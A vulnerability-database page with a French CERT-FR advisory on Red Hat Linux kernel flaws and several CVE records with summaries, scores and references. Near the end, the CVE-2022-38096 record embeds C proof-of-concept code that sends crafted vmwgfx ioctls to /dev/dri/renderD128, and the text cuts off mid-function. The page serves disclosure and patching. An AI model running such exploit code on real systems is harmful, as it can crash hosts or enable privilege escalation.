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CERTFR-2024-AVI-0164
Vulnerability from certfr_avis - Published: 2024-02-23 - Updated: 2024-02-23
De multiples vulnérabilités ont été découvertes dans le noyau Linux de RedHat. Certaines d'entre elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur, une exécution de code arbitraire à distance et un déni de service à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - AUS 8.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for Power, little endian 8 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for IBM z Systems 8 s390x | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 8.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Extended Update Support 8.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for Power, little endian - Extended Update Support 8.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 8 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - TUS 8.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for IBM z Systems - Extended Update Support 8.6 s390x | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for ARM 64 - Extended Update Support 8.6 aarch64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for ARM 64 8 aarch64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for ARM 64 8 aarch64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for x86_64 8 x86_64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for x86_64 - Extended Update Support 8.6 x86_64 | ||
| Oracle | Virtualization | Red Hat Virtualization Host 4 for RHEL 8 x86_64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for Power, little endian 8 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for ARM 64 - Extended Update Support 8.6 aarch64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for Power, little endian - Extended Update Support 8.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 8.6 x86_64 |
References
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Red Hat Enterprise Linux Server - AUS 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for Power, little endian 8 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for IBM z Systems 8 s390x",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 8.6 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Extended Update Support 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for Power, little endian - Extended Update Support 8.6 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 8 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server - TUS 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for IBM z Systems - Extended Update Support 8.6 s390x",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for ARM 64 - Extended Update Support 8.6 aarch64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for ARM 64 8 aarch64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for ARM 64 8 aarch64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for x86_64 8 x86_64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for x86_64 - Extended Update Support 8.6 x86_64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Virtualization Host 4 for RHEL 8 x86_64",
"product": {
"name": "Virtualization",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for Power, little endian 8 ppc64le",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for ARM 64 - Extended Update Support 8.6 aarch64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for Power, little endian - Extended Update Support 8.6 ppc64le",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-29581",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29581"
},
{
"name": "CVE-2023-46813",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-46813"
},
{
"name": "CVE-2023-1838",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1838"
},
{
"name": "CVE-2022-38457",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38457"
},
{
"name": "CVE-2023-6536",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6536"
},
{
"name": "CVE-2024-0646",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-0646"
},
{
"name": "CVE-2023-40283",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-40283"
},
{
"name": "CVE-2022-40133",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-40133"
},
{
"name": "CVE-2022-3239",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3239"
},
{
"name": "CVE-2023-6817",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6817"
},
{
"name": "CVE-2023-31084",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-31084"
},
{
"name": "CVE-2022-41858",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41858"
},
{
"name": "CVE-2023-1074",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1074"
},
{
"name": "CVE-2023-4921",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4921"
},
{
"name": "CVE-2022-2196",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-2196"
},
{
"name": "CVE-2021-33655",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-33655"
},
{
"name": "CVE-2023-6356",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6356"
},
{
"name": "CVE-2022-3545",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3545"
},
{
"name": "CVE-2023-2176",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2176"
},
{
"name": "CVE-2022-36402",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-36402"
},
{
"name": "CVE-2023-45871",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-45871"
},
{
"name": "CVE-2022-3625",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3625"
},
{
"name": "CVE-2023-6535",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6535"
},
{
"name": "CVE-2022-20368",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-20368"
},
{
"name": "CVE-2022-23960",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23960"
},
{
"name": "CVE-2022-38096",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38096"
},
{
"name": "CVE-2023-30456",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-30456"
},
{
"name": "CVE-2023-6606",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6606"
},
{
"name": "CVE-2023-1073",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1073"
},
{
"name": "CVE-2023-6546",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6546"
},
{
"name": "CVE-2024-1086",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-1086"
},
{
"name": "CVE-2023-4623",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4623"
},
{
"name": "CVE-2023-51042",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-51042"
},
{
"name": "CVE-2023-5717",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-5717"
},
{
"name": "CVE-2023-2166",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2166"
},
{
"name": "CVE-2023-6931",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6931"
},
{
"name": "CVE-2023-6610",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6610"
}
],
"initial_release_date": "2024-02-23T00:00:00",
"last_revision_date": "2024-02-23T00:00:00",
"links": [],
"reference": "CERTFR-2024-AVI-0164",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2024-02-23T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans \u003cspan\nclass=\"textit\"\u003ele noyau Linux de RedHat\u003c/span\u003e. Certaines d\u0027entre elles\npermettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non\nsp\u00e9cifi\u00e9 par l\u0027\u00e9diteur, une ex\u00e9cution de code arbitraire \u00e0 distance et\nun d\u00e9ni de service \u00e0 distance.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans le noyau Linux de RedHat",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 RedHat RHSA-2024:0930 du 21 f\u00e9vrier 2024",
"url": "https://access.redhat.com/errata/RHSA-2024:0930/"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 RedHat RHSA-2024:0897 du 20 f\u00e9vrier 2024",
"url": "https://access.redhat.com/errata/RHSA-2024:0897/"
}
]
}
CVE-2021-33655 (GCVE-0-2021-33655)
Vulnerability from cvelistv5 – Published: 2022-07-18 14:45 – Updated: 2026-10-14 11:44
VLAI
EPSS
VEX
Summary
When sending malicous data to kernel by ioctl cmd FBIOPUT_VSCREENINFO,kernel will write memory out of bounds.
Severity
No CVSS data available.
CWE
- CWE-787 - Out-of-bounds Write
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://git.kernel.org/pub/scm/linux/kernel/git/t… | x_refsource_MISC |
| http://www.openwall.com/lists/oss-security/2022/07/19/2 | mailing-listx_refsource_MLIST |
| https://www.debian.org/security/2022/dsa-5191 | vendor-advisoryx_refsource_DEBIAN |
| https://lists.debian.org/debian-lts-announce/2022… | mailing-listx_refsource_MLIST |
| https://cert-portal.siemens.com/productcert/html/… |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | kernel |
Affected:
5.18 5.19.0-rc1
|
|
| Siemens | SIMATIC S7-1500 TM MFP - GNU/Linux subsystem |
Affected:
0 , < V1.1
(custom)
|
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T23:58:22.899Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
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"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=086ff84617185393a0bbf25830c4f36412a7d3f4"
},
{
"name": "[oss-security] 20220719 CVE-2021-33655: Linux kernel: When sending malicous data to kernel by ioctl cmd FBIOPUT_VSCREENINFO,kernel will write memory out of bounds.(5.18 5.19.0-rc1)",
"tags": [
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"url": "http://www.openwall.com/lists/oss-security/2022/07/19/2"
},
{
"name": "DSA-5191",
"tags": [
"vendor-advisory",
"x_refsource_DEBIAN",
"x_transferred"
],
"url": "https://www.debian.org/security/2022/dsa-5191"
},
{
"name": "[debian-lts-announce] 20221002 [SECURITY] [DLA 3131-1] linux security update",
"tags": [
"mailing-list",
"x_refsource_MLIST",
"x_transferred"
],
"url": "https://lists.debian.org/debian-lts-announce/2022/10/msg00000.html"
}
],
"title": "CVE Program Container"
},
{
"affected": [
{
"defaultStatus": "unknown",
"product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
"vendor": "Siemens",
"versions": [
{
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"status": "affected",
"version": "0",
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}
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}
],
"providerMetadata": {
"dateUpdated": "2026-10-14T11:44:14.568Z",
"orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
"shortName": "siemens-SADP"
},
"references": [
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-794697.html"
}
],
"x_adpType": "supplier"
}
],
"cna": {
"affected": [
{
"product": "kernel",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "5.18 5.19.0-rc1"
}
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],
"descriptions": [
{
"lang": "en",
"value": "When sending malicous data to kernel by ioctl cmd FBIOPUT_VSCREENINFO,kernel will write memory out of bounds."
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-787",
"description": "CWE-787: Out-of-bounds Write",
"lang": "en",
"type": "CWE"
}
]
}
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"providerMetadata": {
"dateUpdated": "2022-10-02T18:06:20.000Z",
"orgId": "7e1ac599-2767-43fa-b3ea-f10178cc98f2",
"shortName": "openEuler"
},
"references": [
{
"tags": [
"x_refsource_MISC"
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"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=086ff84617185393a0bbf25830c4f36412a7d3f4"
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{
"name": "[oss-security] 20220719 CVE-2021-33655: Linux kernel: When sending malicous data to kernel by ioctl cmd FBIOPUT_VSCREENINFO,kernel will write memory out of bounds.(5.18 5.19.0-rc1)",
"tags": [
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"url": "http://www.openwall.com/lists/oss-security/2022/07/19/2"
},
{
"name": "DSA-5191",
"tags": [
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"url": "https://www.debian.org/security/2022/dsa-5191"
},
{
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"tags": [
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],
"url": "https://lists.debian.org/debian-lts-announce/2022/10/msg00000.html"
}
],
"x_legacyV4Record": {
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"ASSIGNER": "securities@openeuler.org",
"ID": "CVE-2021-33655",
"STATE": "PUBLIC"
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"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
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"product_name": "kernel",
"version": {
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"refsource": "MISC",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=086ff84617185393a0bbf25830c4f36412a7d3f4"
},
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"name": "[oss-security] 20220719 CVE-2021-33655: Linux kernel: When sending malicous data to kernel by ioctl cmd FBIOPUT_VSCREENINFO,kernel will write memory out of bounds.(5.18 5.19.0-rc1)",
"refsource": "MLIST",
"url": "http://www.openwall.com/lists/oss-security/2022/07/19/2"
},
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"name": "DSA-5191",
"refsource": "DEBIAN",
"url": "https://www.debian.org/security/2022/dsa-5191"
},
{
"name": "[debian-lts-announce] 20221002 [SECURITY] [DLA 3131-1] linux security update",
"refsource": "MLIST",
"url": "https://lists.debian.org/debian-lts-announce/2022/10/msg00000.html"
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},
"cveMetadata": {
"assignerOrgId": "7e1ac599-2767-43fa-b3ea-f10178cc98f2",
"assignerShortName": "openEuler",
"cveId": "CVE-2021-33655",
"datePublished": "2022-07-18T14:45:50.000Z",
"dateReserved": "2021-05-28T00:00:00.000Z",
"dateUpdated": "2026-10-14T11:44:14.568Z",
"state": "PUBLISHED"
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CVE-2022-20368 (GCVE-0-2022-20368)
Vulnerability from cvelistv5 – Published: 2022-08-11 14:59 – Updated: 2024-08-03 02:10
VLAI
EPSS
VEX
Summary
Product: AndroidVersions: Android kernelAndroid ID: A-224546354References: Upstream kernel
Severity
No CVSS data available.
CWE
- Elevation of privilege
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://source.android.com/security/bulletin/pixe… | x_refsource_MISC |
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CVE-2022-2196 (GCVE-0-2022-2196)
Vulnerability from cvelistv5 – Published: 2023-01-09 10:59 – Updated: 2026-08-07 18:43
VLAI
EPSS
VEX
Title
Speculative execution attacks in KVM VMX
Summary
A regression exists in the Linux Kernel within KVM: nVMX that allowed for speculative execution attacks. L2 can carry out Spectre v2 attacks on L1 due to L1 thinking it doesn't need retpolines or IBPB after running L2 due to KVM (L0) advertising eIBRS support to L1. An attacker at L2 with code execution can execute code on an indirect branch on the host machine. We recommend upgrading to Kernel 6.2 or applying the relevant stable backports (v5.4.233, v5.10.170, v5.15.96, v6.1.14).
Severity
5.8 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-08-01 15:07 UTC
CWE
- CWE-1188 - Insecure Default Initialization of Resource
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Linux Kernel |
Affected:
64b8f33b2e1e687d465b5cb382e7bec495f1e026 , < f93a1a5bdcdd122aae0a3eab7a52c15b71fb725b
(git)
Affected: e089a83fbc55b8057f332c00f125acaa02b08ef7 , < 2e7eab81425ad6c875f2ed47c0ce01e78afc38a5 (git) Affected: 02a3868d18fe639363f1cea6e6d7914513198e43 , < 2e7eab81425ad6c875f2ed47c0ce01e78afc38a5 (git) Affected: 5c911beff20aa8639e7a1f28988736c13e03ed54 , < 1b0cafaae8884726c597caded50af185ffc13349 (git) Affected: 5c911beff20aa8639e7a1f28988736c13e03ed54 , < 6b539a7dbb49250f92515c2ba60aea239efc9e35 (git) Affected: 5c911beff20aa8639e7a1f28988736c13e03ed54 , < 63fada296062e91ad9f871970d4e7f19e21a6a15 (git) Affected: 5c911beff20aa8639e7a1f28988736c13e03ed54 , < 2e7eab81425ad6c875f2ed47c0ce01e78afc38a5 (git) Affected: 5.4.47 , < 5.4.233 (semver) Affected: 5.6.19 , < 5.7.0 (semver) Affected: 5.7.3 , < 5.8.0 (semver) Affected: 5.8.0 , < 5.10.170 (semver) Affected: 5.11.0 , < 5.15.96 (semver) Affected: 5.16.0 , < 6.1.14 (semver) Unaffected: 6.2.0 (semver) |
Date Public
2022-10-18 22:00
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CVE-2022-23960 (GCVE-0-2022-23960)
Vulnerability from cvelistv5 – Published: 2022-03-12 23:57 – Updated: 2026-10-08 21:14
VLAI
EPSS
VEX
Summary
Certain Arm Cortex and Neoverse processors through 2022-03-08 do not properly restrict cache speculation, aka Spectre-BHB. An attacker can leverage the shared branch history in the Branch History Buffer (BHB) to influence mispredicted branches. Then, cache allocation can allow the attacker to obtain sensitive information.
Severity
No CVSS data available.
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-08 21:12 UTC
CWE
- n/a
Assigner
References
5 references
| URL | Tags |
|---|---|
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CVE-2022-29581 (GCVE-0-2022-29581)
Vulnerability from cvelistv5 – Published: 2022-05-17 16:50 – Updated: 2025-04-21 13:53
VLAI
EPSS
VEX
Summary
Improper Update of Reference Count vulnerability in net/sched of Linux Kernel allows local attacker to cause privilege escalation to root. This issue affects: Linux Kernel versions prior to 5.18; version 4.14 and later versions.
Severity
7.8 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-04-21 13:39 UTC
CWE
- CWE-911 - Improper Update of Reference Count
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://git.kernel.org/pub/scm/linux/kernel/git/t… | x_refsource_MISC |
| https://kernel.dance/#3db09e762dc79584a69c10d74a6… | x_refsource_MISC |
| http://www.openwall.com/lists/oss-security/2022/05/18/2 | mailing-listx_refsource_MLIST |
| http://packetstormsecurity.com/files/167386/Kerne… | x_refsource_MISC |
| https://security.netapp.com/advisory/ntap-2022062… | x_refsource_CONFIRM |
| https://www.debian.org/security/2022/dsa-5173 | vendor-advisoryx_refsource_DEBIAN |
| http://packetstormsecurity.com/files/168191/Kerne… | x_refsource_MISC |
Impacted products
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CVE-2022-3239 (GCVE-0-2022-3239)
Vulnerability from cvelistv5 – Published: 2022-09-19 00:00 – Updated: 2024-08-03 01:00
VLAI
EPSS
VEX
Summary
A flaw use after free in the Linux kernel video4linux driver was found in the way user triggers em28xx_usb_probe() for the Empia 28xx based TV cards. A local user could use this flaw to crash the system or potentially escalate their privileges on the system.
Severity
No CVSS data available.
CWE
Assigner
References
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CVE-2022-3545 (GCVE-0-2022-3545)
Vulnerability from cvelistv5 – Published: 2022-10-17 00:00 – Updated: 2026-10-14 13:47
VLAI
EPSS
VEX
Title
Linux Kernel IPsec nfp_cppcore.c area_cache_get use after free
Summary
A vulnerability has been found in Linux Kernel and classified as critical. Affected by this vulnerability is the function area_cache_get of the file drivers/net/ethernet/netronome/nfp/nfpcore/nfp_cppcore.c of the component IPsec. The manipulation leads to use after free. It is recommended to apply a patch to fix this issue. The identifier VDB-211045 was assigned to this vulnerability.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-04-14 17:08 UTC
CWE
- CWE-119 - Memory Corruption -> CWE-416 Use After Free
Assigner
References
8 references
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Kernel |
Affected:
n/a
|
|
| Siemens | SIMATIC S7-1500 TM MFP - GNU/Linux subsystem |
Affected:
0 , < V1.1
(custom)
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CVE-2022-3625 (GCVE-0-2022-3625)
Vulnerability from cvelistv5 – Published: 2022-10-21 00:00 – Updated: 2026-10-14 13:51
VLAI
EPSS
VEX
Title
Linux Kernel IPsec devlink.c devlink_param_get use after free
Summary
A vulnerability was found in Linux Kernel. It has been classified as critical. This affects the function devlink_param_set/devlink_param_get of the file net/core/devlink.c of the component IPsec. The manipulation leads to use after free. It is recommended to apply a patch to fix this issue. The identifier VDB-211929 was assigned to this vulnerability.
Severity
4.6 (Medium)
CWE
- CWE-119 - Memory Corruption -> CWE-416 Use After Free
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Kernel |
Affected:
n/a
|
|
| Siemens | SIMATIC S7-1500 TM MFP - GNU/Linux subsystem |
Affected:
0 , < V1.1
(custom)
|
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CVE-2022-36402 (GCVE-0-2022-36402)
Vulnerability from cvelistv5 – Published: 2022-09-16 16:08 – Updated: 2024-09-17 03:38
VLAI
EPSS
VEX
Title
There is an int overflow vulnerability in vmwgfx driver
Summary
An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
CWE
- CWE-118 - Incorrect Access of Indexable Resource ('Range Error')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://bugzilla.openanolis.cn/show_bug.cgi?id=2072 | x_refsource_MISC |
Impacted products
Date Public
2022-09-06 00:00
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CVE-2022-38096 (GCVE-0-2022-38096)
Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2026-10-14 17:30
VLAI
EPSS
VEX
Title
There is a NULL pointer vulnerability in vmwgfx driver
Summary
A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-06-26 13:45 UTC
CWE
- CWE-476 - NULL Pointer Dereference
Assigner
References
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | kernel |
Affected:
v4.20-rc1 , < 5.13.0-52*
(custom)
|
|
| linux | linux_kernel |
Affected:
v4.20-rc1 , < 5.14
(custom)
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* |
|
| Siemens | SIMATIC S7-1500 TM MFP - GNU/Linux subsystem |
Affected:
0 , < V1.1.1
(custom)
|
Date Public
2022-09-06 00:00
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"providerMetadata": {
"dateUpdated": "2026-10-14T17:30:51.795Z",
"orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
"shortName": "siemens-SADP"
},
"references": [
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
}
],
"x_adpType": "supplier"
}
],
"cna": {
"affected": [
{
"product": "kernel",
"vendor": "Linux",
"versions": [
{
"lessThan": "5.13.0-52*",
"status": "affected",
"version": "v4.20-rc1",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
}
],
"datePublic": "2022-09-06T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
}
],
"exploits": [
{
"lang": "en",
"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid){ \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=sid;\n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\nint alloc_bo(){\n\nint 